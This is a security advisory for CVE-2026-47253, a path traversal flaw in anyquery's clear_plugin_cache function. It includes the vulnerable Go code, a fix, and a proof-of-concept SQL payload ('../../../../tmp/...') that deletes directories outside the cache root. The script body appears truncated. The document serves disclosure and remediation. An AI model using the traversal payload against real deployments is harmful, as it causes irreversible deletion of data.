CVE-2026-47253

描述

# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | High | ## Summary The SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache('../../../../tmp/target')` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation. ## Affected Code `namespace/other_functions.go:46` — `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root `namespace/other_functions.go:53` — `os.RemoveAll` unconditionally deletes the traversed path ```go func clear_plugin_cache(plugin string) string { pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) if plugin == "" { return "The plugin name is empty" } // Remove the directory err := os.RemoveAll(pathToRemove) if err != nil { return err.Error() } return "" } ``` HTTP JSON `body.Query` → `executeQueryLLM` (`controller/llm.go:420-426`) → `shell.Run` → SQLite `clear_plugin_cache(plugin)` → `pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)` at `other_functions.go:46` → `os.RemoveAll` at `other_functions.go:53` ## Proof of Concept **Prerequisites:** - Docker installed - Python 3 with `requests` package (`pip install requests`) **Step 1 — Build and start the vulnerable service:** ```bash docker build -f Dockerfile -t anyquery-vuln002 . docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 ``` **Step 2 — Run the PoC script (separate terminal):** ```bash python3 poc.py ``` **poc.py:** ```python #!/usr/bin/env python3 """PoC reproduction script — julien040/anyquery / VULN-002 Prerequisites: - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 . - Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 - Python packages: requests (stdlib subprocess also used) How to run (from this report directory, after Dockerfile service is up): python3 poc.py Expected on success: Final stdout line begins with `RESULT: PASS` confirming that the sentinel directory outside the cache root was deleted via clear_plugin_cache path traversal.

Sentinel GONE — /tmp/poc_sentinel deleted outside cache root. RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/) ``` ## Impact An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data. ## Remediation In `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`: ```go func clear_plugin_cache(plugin string) string { if plugin == "" { return "The plugin name is empty" } cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins") pathToRemove := pathlib.Join(cacheRoot, plugin) rel, err := filepath.Rel(cacheRoot, pathToRemove) if err != nil || strings.HasPrefix(rel, "..") || rel == ".." { return "Invalid plugin name" } if err := os.RemoveAll(pathToRemove); err != nil { return err.Error() } return "" } ``` As a defence-in-depth measure, also reject `plugin` values containing `/`, `\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.
